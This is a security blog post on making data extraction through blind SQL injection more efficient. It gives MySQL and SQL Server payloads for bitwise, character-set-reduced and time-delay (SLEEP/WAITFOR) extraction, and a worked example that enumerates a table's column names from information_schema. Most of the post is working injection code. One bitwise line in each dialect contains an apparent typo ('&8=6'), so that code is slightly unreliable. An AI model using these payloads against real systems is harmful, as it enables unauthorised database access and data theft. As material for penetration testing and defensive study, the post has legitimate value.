Blind SQL injection optimization

In this post I examine techniques and optimizations which can be used to efficiently extract SQL query results from Blind SQL Injection vulnerabilities. With the correct techniques and optimizations the majority of SQL query results can be extracted using at most two requests per character in the result string plus two requests for a length check. Under certain conditions results may be able to be extracted using significantly fewer requests.

This post draws together known Blind SQL Injection data extraction techniques and builds upon them in order to reduce the number of requests required to extract query results to the absolute minimum.

Blind SQL Injection is a type of SQL Injection vulnerability whereby only a true or false result can be determined from the database +OWASP Blind SQL Injection. If SQL Injection or Blind SQL Injection are not familiar to you I suggest starting with some introductory material (such as +Everything you wanted to know about SQL injection by Troy Hunt) before continuing this post.

In the examples throughout this post I will present MySQL (MySQL and MariaDB) and SQL Server syntax. All techniques should work fine on other SQL database engines, however the syntax may need modifying slightly.

Data extraction

When considering extracting data from Blind SQL injection vulnerabilities the cost of data extraction needs to be considered. Primarily the cost of extracting data is the number of requests required to perform the data extraction, a secondary cost (not necessarily related to the number of requests) is the amount of time data extraction will take. The techniques outlined below aim to increasingly reduce the number of requests required for data extraction.

Naïve byte extraction

The simplest naïve data extraction technique is to extract the query result data byte by byte by testing each byte of the result against the full set of 256 possible values for that byte. As an example it could be implemented using the following SQL statements: MySQL

CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=0 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=1 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=2 THEN 1 ELSE 0 END
...
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=255 THEN 1 ELSE 0 END

SQL Server

CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)=0 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)=1 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)=2 THEN 1 ELSE 0 END
...
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)=255 THEN 1 ELSE 0 END

Where (xxx) is the query we want to make.

The worst case for naïve byte extraction (with no optimizations) is 256 requests per byte, although in practice this would very rarely be the case. This is obviously terrible and no one would actually use this, but it is good to have a “worst case” starting point when considering improved techniques.

Divide and conquer byte extraction

The divide and conquer algorithm +Divide and conquer algorithm recursively splits a search space in two, checking which sub-set the result falls into until there is only one value remaining. It could be implemented using the following SQL statements: MySQL

CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<128 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<64 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<96 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<80 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<72 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<68 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<66 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<67 THEN 1 ELSE 0 END

SQL Server

CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<128 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<64 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<96 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<80 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<72 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<68 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<66 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)<67 THEN 1 ELSE 0 END

Where (xxx) is the query we want to make.

Each byte extracted using the divide and conquer requires 8 requests, this is already significant improvement over the naïve byte extraction method. However, requests cannot be parallelized per byte as each request (baring the first) depends on the result of the previous request so must be performed in serial.

Bitwise byte extraction

To improve request parallelization we can use the bitwise byte extraction techniques. For this technique we simply test each bit of each byte we wish to extract, the result will either be a 1 or a 0 which map to our true or false query responses: MySQL

CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&1=1 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&2=2 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&4=4 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&8=6 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&16=16 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&32=32 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&64=64 THEN 1 ELSE 0 END
CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&128=128 THEN 1 ELSE 0 END

SQL Server

CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&1=1 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&2=2 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&4=4 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&8=6 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&16=16 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&32=32 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&64=64 THEN 1 ELSE 0 END
CASE WHEN SUBSTRING(CONVERT(binary, (xxx)), 1, 1)&128=128 THEN 1 ELSE 0 END

Where (xxx) is the query we want to make.

We can then reconstruct the bits into the resulting byte. As with the divide and conquer technique bitwise byte extraction requires 8 requests per byte, however the requests can be parallelized, no single request depends on the result of a previous request.

A note on result data length

One thing we have to consider when extracting result data is when to stop, there is no point attempting to extract 128 bytes of a 10 byte long query result. There are two obvious methods for doing this. The first is to extract the length of the result before we start to extract any data. This can be done using the LENGTH function for MySQL or the LEN function on SQL Server. We can then use divide and conquer or bitwise byte extraction to extract the length before starting to extract the query data. The second method is to keep extracting data until we hit a null byte (0x00). The MySQL SUBSTR function returns the empty string '' if the position argument is outside the length of the str input string argument, similarly the SQL Server SUBSTR function will return null if the start argument is outside the length of the expression input string argument. We can use this null response as a flag to stop extracting data.

The null character length check scales better with longer result strings and can be optimized more heavily than extracting the length of the data up front. The one area null checks will fall down is if we are extracting data with null bytes in, e.g. binary data. For these cases upfront data length checking is required.

The number of requests required to perform a null character length check will be the same as the number of requests required to check a single character, with bitwise byte extraction this would be 8 requests. Upfront data length checking fewer or more requests depending on the length of the query result.

Optimizations

Character set optimizations

ASCII character extraction

In the above examples we extract full bytes from the query result. This is fine if we are attempting to extract binary data from the database, but more often than not we will be extracting text data. If we expect the result to be represented by non-extended ASCII characters we can perform simple character extraction rather than byte extraction. ASCII represents the characters of the English alphabet, numbers, punctuation and control characters. Each ASCII character can be represented using 7 bits, which reduces the number of requests required per character to 7 compared to 8 for byte extraction.

MySQL

ASCII(SUBSTR((xxx), 1, 1))

SQL Server

ASCII(SUBSTRING((xxx), 1, 1))

Where (xxx) is the query we want to make.

Obviously if we need to consider extended character sets this optimization will not be applicable.

Character set reduction

Building on the ASCII character extraction optimization, we can reduce the character set from ASCII to a smaller arbitrary character set, e.g.:

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_

We can the use the INSTR function for MySQL or CHARINDEX function for SQL Server to get the index into our defined character set of the result character we are extracting.

MySQL

INSTR(
  ' !"#$%&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_',
  SUBSTR((xxx), 1, 1)
) - 1

SQL Server

CHARINDEX(
  SUBSTRING((xxx), 1, 1),
  ' !"#$%&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_'
) - 1

Where (xxx) is the query we want to make and ` !”#$%&’()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_ is the character set we wish to check against. Both INSTR and CHARINDEX` index starting from 1, so we can remove 1 from the result to zeroth index the result.

It should be noted that both INSTR on MySQL and CHARINDEX on SQL Server are case insensitive checks so any results using the above queries will be converted to uppercase. For case-sensitive results collation can be used (see +COLLATE Transact-SQL and +Collation Implementation Types).

This optimization has the added benefit of allowing us to define a character set including Unicode characters, such as the following character set for the German alphabet:

ABCDEFGHIJKLMNOPQRSTUVWXYZÄÖÜß

This optimization can be taken to the extreme if the exact character set of the target data is known. For example password hashes may use only the following character set:

0123456789ABCDEF

The number of bits required to extract a result character from a defined character set is ceil(log2(character set length)), therefore a 64 character character set requires 6 bits to be extracted per character, a 32 character character set requires 5 bits per character and a 16 character character set requires only 4 bits per character. Obviously this optimization is only appropriate if a succinct character set can be defined for the result text.

Character set confirmation

The character set of the query result will not always be known or guessable. Extracting query results against an inaccurate character set will accidentally exclude characters in the result text, providing a false result. Luckily we can easily check that the result text confirms to a given character set using 1 additional request:

MySQL

CASE WHEN (xxx) NOT REGEXP '[^0123456789ABCDEF]' THEN 1 ELSE 0 END

SQL Server

CASE WHEN (xxx) NOT LIKE'%[^0123456789ABCDEF]%' THEN 1 ELSE 0 END

Where (xxx) is the query we want to make and 0123456789ABCDEF is the character set we wish to check against.

This can be extended to check a character set against all values in a query result set in a single request: MySQL

CASE WHEN (
  SELECT SUM(sum_result) FROM (
    SELECT 1 as sum_result from (
      (xxx)
    ) AS x
    WHERE (yyy) REGEXP '[^0123456789ABCDEF]'
  ) AS y
) IS NULL THEN 1 ELSE 0 END

SQL Server

CASE WHEN (
  SELECT SUM(sum_result) FROM (
    SELECT 1 as sum_result FROM (
      (xxx)
    ) AS x
    WHERE (yyy) LIKE '%[^0123456789ABCDEF]%'
  ) AS y
) IS NULL THEN 1 ELSE 0 END

Where (xxx) is the query we want to make, (yyy) is the column name we are selecting and 0123456789ABCDEF is the character set we wish to check against. Combining character set reduction and confirmation can efficiently define a reduced character set which significantly reduces the number of requests required to extract the result data.

Multi bit requests

Extracting 2 bits of information

Typically with blind SQL injection we extract one bit of information per request, namely true or false. Further bits of information can often be extracted by introducing response delays through SQL sleep functions.

Combining the two bits of information from boolean results and time delays we can receive four possible results for each request:

  • False result with no delay (00)
  • True result with no delay (01)
  • False result with delay (10)
  • True result with delay (11)

The MySQL SLEEP function and SQL Server WAITFOR DELAY statement can be used to introduce the required timed delays into the SQL query result:

MySQL

(
  CASE WHEN test&1=1 THEN 1 ELSE 0 END
) + (
  CASE WHEN test&2=2 THEN SLEEP(5) ELSE 0 END
) FROM (SELECT (zzz) AS test) as x

SQL Server

CASE WHEN (zzz)&1=1 THEN 1 ELSE 0 END;
IF((zzz)&2=2)
  WAITFOR DELAY '00:00:05'
ELSE
  SELECT 0;--

Where (zzz) is the bit result of the current slice of the query we want to make. Unfortunately the SQL Server WAITFOR DELAY statement is particularly sensitive to it’s placement in a SQL query, not allowing it to be placed within subqueries. To get around this constraint we may be able to use stacked queries as show above. With stacked queries we must perform our query twice per request, once for the boolean return bit and once for the time delay bit. Stacked queries will not always be viable, so another option for introducing time delays is through the use of heavy queries +Time-Based Blind SQL Injection using Heavy Queries.

Using this method we can extract 2 bits of information per request.

Extracting 3+ bits of information

As described in a post by Hack All The Things +Extracting Multiple Bits Per Request From Full-blind SQL Injection Vulnerabilities, time-based techniques can be used to extract multiple bits in a single request. This method essentially chunks the result delay into time segments which can be decoded into bit values.

The number of bits which can be accurately extracted in a single request can be calculated by max_bits = log2((max_timeout/max_rrt) + 1) - (log2((max_timeout/max_rrt) + 1) % 1) where max_timeout is the largest delay the database server will allow a query to delay without throwing an error and max_rrt is the maximum Round Trip Time (RRT) we can expect from the target server under load. Some examples of the number of bits that can be extracted per request are:

Max Timeout Max RRT Max bits per request
60 4 4
35 5 3
18 6 2

The time segments to bit mapping for a server with a max query timeout of 18 seconds and a max RRT of 4 seconds would be:

  • 0 second delay (00)
  • 6 second delay (01)
  • 12 second delay (10)
  • 18 second delay (11)

We can combine this with the boolean result to add an additional response bit:

  • False result with 0 second delay (000)
  • True result with 0 second delay (001)
  • False result with 6 second delay (010)
  • True result with 6 second delay (011)
  • Etc.

MySQL

(
  CASE WHEN test&1=1 THEN 1 ELSE 0 END
), (
  CASE WHEN test&2=2 THEN SLEEP(6) ELSE 0 END
), (
  CASE WHEN test&4=4 THEN SLEEP(12) ELSE 0 END
) FROM (SELECT (zzz) AS test) as x

SQL Server

CASE WHEN (zzz)&1=1 THEN 1 ELSE 0 END;
IF((zzz)&2=2)
  WAITFOR DELAY '00:00:06'
ELSE
  SELECT 0;
IF((zzz)&4=4)
  WAITFOR DELAY '00:00:12'
ELSE
  SELECT 0;--

Where (zzz) is the bit result of the current slice of the query we want to make.

Result guessing

In some circumstances the result of a query may be known to be in a tight set of pre known candidates, for example SQL data types (CHAR, VARCHAR, BLOB, etc.) in which case knowing only a partial result could allow us to guess the exact result. For example, given the input corpus:

  • Alice
  • Bob
  • Charlie
  • Doogle
  • Emily

To determine the result is Charlie we need only determine the first character is a C, as Charlie is the only candidate starting with the character C.

If we have a tightly defined input corpus of all possible results, we can easily calculate the minimum number of requests to uniquely identify a candidate from the input corpus and perform only those requests. For example, given the input corpus above we only have to query the 3 least significant bits of the first character to determine the result:

MySQL

ORD(SUBSTR(BINARY('Alice'), 1, 1))&7   #0b001
ORD(SUBSTR(BINARY('Bob'), 1, 1))&7     #0b010
ORD(SUBSTR(BINARY('Charlie'), 1, 1))&7 #0b011
ORD(SUBSTR(BINARY('Doogle'), 1, 1))&7  #0b100
ORD(SUBSTR(BINARY('Emily'), 1, 1))&7   #0b101

SQL Server

SUBSTRING(CONVERT(binary, 'Alice'), 1, 1)&7   --0b001
SUBSTRING(CONVERT(binary, 'Bob'), 1, 1)&7     --0b010
SUBSTRING(CONVERT(binary, 'Charlie'), 1, 1)&7 --0b011
SUBSTRING(CONVERT(binary, 'Doogle'), 1, 1)&7  --0b100
SUBSTRING(CONVERT(binary, 'Emily'), 1, 1)&7   --0b101

If we have a loosely defined input corpus with only a subset of possible results we can still use this optimization. Any bit of information from the query result can be used to reduce the input corpus. Once we have only a small number of remaining candidates we can check the query result against these candidates in order to confirm the result. We can extend this to choose the order we request the bits of the result based on the number of candidates from the input corpus the requested bits will eliminate. Ideally each request should eliminate half, or as close as possible, of the input corpus, thus allowing a divide and conquer search through the corpus. Using this method to reduce an input corpus of 256 candidates would take approximately 8 requests.

We can take this one step further and learn about results from the target database itself. In certain datasets values are often repeated, for example in table column names. If we determine that one table has a column name of Created we can add that to our column name corpus. We can then use the updated column name corpus when querying the columns of another table.

In tests this method has been shown to significantly reduce the number of requests required to enumerate table structures.

Confirming results

Building upon result guessing we can easily confirm our guesses against the database for accuracy, requiring only one additional request:

CASE WHEN (xxx)='Alice' THEN 1 ELSE 0 END

Where (xxx) is the result we want to confirm and Alice is the guess candidate.

Further to this can confirm or test multiple potential results in a single request; (2^n) - 1 candidates per request where n is the number of bits we can extract from each request. For example, if we can extract 2 bits of information per request we can test 3 guesses, 3 bits means we can test 7 guesses: MySQL

(INSTR('______Alice__Bob____Charlie', (xxx))/7)&255

SQL Server

(CHARINDEX((xxx), '______Alice__Bob____Charlie')/7)

Where (xxx) is the result we want to confirm and Alice, Bob, and Charlie are the guess candidates. We use the string index functions, INSTR for MySQL and CHARINDEX for SQL Server, to return the index into the candidate string of the result. The returned value divided by the length of the padded guess candidates, in the above case 7, gives us the a result in the binary range 00 to 11. A result of 01 would be returned if Alice is the correct result, 10 for Bob, 11 for Charlie and 00 for none of the guesses being correct.

Combining result guessing and confirmation we can whittle down an input corpus based on retrieved bits of information, and when we have only a small number of candidates remaining perform a single request to check if any of the remaining candidates are correct. This allows us to efficiently check a result against a predefined or discovered input corpus.

Summary

Combining the bitwise character extraction, character set reduction and temporal inference as described above we can often reliably extract query result text using at most 2 requests per character, 2 requests for the null character length check and two optional requests (character set confirmation and result confirmation).

To illustrate the efficiency of these optimizations consider the following table showing the number of requests required to extract the text response from a query result with length 16:

Technique Result Requests Additional Requests Total Requests
Data extraction techniques      
Naive byte extraction 4,096 256 (LC) 4,352
Divide and conquer byte extraction 128 8 (LC) 136
Bitwise byte extraction 128 8 (LC) 136
Character set optimizations      
ASCII character extraction 112 7 (LC) 119
Character set reduction 96 6 (LC) + 1 (CS) 103
Multi bit requests      
Extracting 2 bits of information 48 3 (LC) + 1 (CS) + 1 (RC) 53
Extracting 3+ bits of information 32 2 (LC) + 1 (CS) + 1 (RC) 36

LC: Length Check request CS: Character Set request RC: Result Confirmation request

Even over reasonably efficient bitwise ASCII character extraction the outlined optimizations can save 83 requests on a 16 character query result. On top of this, if the result we are querying is in a known or discovered input corpus it can often be extracted using result guessing in fewer than 8 requests.

Thanks

Thanks to Pentest Monkey for the excellent SQL injection cheat sheets +SQL Injection Cheat Sheets by Pentest Monkey.

Thanks to SQLZoo +SQLZoo for providing a sandbox in which these methods could be tested and refined.

Worked Example

Worked example extracting 2 bits per request (result + temporal) with character set reduction to query all column names from a table called games:

-- The query we want to execute
SELECT
DISTINCT(column_name) FROM information_schema.columns
WHERE table_name='games';

-- Check character set is acceptable across all results
SELECT CASE WHEN (
  SELECT SUM(result) from (
    SELECT 1 as result from (
      SELECT
      DISTINCT(column_name) FROM information_schema.columns
      WHERE table_name='games'
    ) as x WHERE column_name REGEXP '[^ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]'
  ) as y
) IS NULL THEN 1 ELSE 0 END;

-- Extract bits 1 & 2 of the first character of the first result
SELECT (
  -- Extract 1st bit through true/false result
  CASE WHEN (
    SELECT INSTR(
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',
      SUBSTR(
        (
          SELECT
          DISTINCT(column_name) FROM information_schema.columns
          WHERE table_name='games'
          LIMIT 1 OFFSET 0 -- First result
        ),
        1, -- First character
        1
      )
    )
  )&1=1 THEN 1 ELSE 0 END
) + (
  -- Extract 2nd bit through temporal result
  CASE WHEN (
    SELECT INSTR(
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',
      SUBSTR(
        (
          SELECT
          DISTINCT(column_name) FROM information_schema.columns
          WHERE table_name='games'
          LIMIT 1 OFFSET 0 -- First result
        ),
        1, -- First character
        1
      )
    )
  )&2=2 THEN SLEEP(2) ELSE 0 END
);

-- Extract bits 3 & 4 of the first character of the first result
SELECT (
  -- Extract 3rd bit through true/false result
  CASE WHEN (
    SELECT INSTR(
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',
      SUBSTR(
        (
          SELECT
          DISTINCT(column_name) FROM information_schema.columns
          WHERE table_name='games'
          LIMIT 1 OFFSET 0 -- First result
        ),
        1, -- First character
        1
      )
    )
  )&4=4 THEN 1 ELSE 0 END
) + (
  -- Extract 4th bit through temporal result
  CASE WHEN (
    SELECT INSTR(
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',
      SUBSTR(
        (
          SELECT
          DISTINCT(column_name) FROM information_schema.columns
          WHERE table_name='games'
          LIMIT 1 OFFSET 0 -- First result
        ),
        1, -- First character
        1
      )
    )
  )&8=8 THEN SLEEP(2) ELSE 0 END
);

...

-- Extract bits 5 & 6 of the seventh character of the third result
SELECT (
  -- Extract 5th bit through true/false result
  CASE WHEN (
    SELECT INSTR(
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',
      SUBSTR(
        (
          SELECT
          DISTINCT(column_name) FROM information_schema.columns
          WHERE table_name='games'
          LIMIT 1 OFFSET 2 -- Third result
        ),
        7, -- Seventh character
        1
      )
    )
  )&16=16 THEN 1 ELSE 0 END
) + (
  -- Extract 6th bit through temporal result
  CASE WHEN (
    SELECT INSTR(
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',
      -- Select seventh character
      SUBSTR(
        (
          SELECT
          DISTINCT(column_name) FROM information_schema.columns
          WHERE table_name='games'
          LIMIT 1 OFFSET 2 -- Third result
        ),
        7, -- Seventh character
        1
      )
    )
  )&32=32 THEN SLEEP(2) ELSE 0 END
);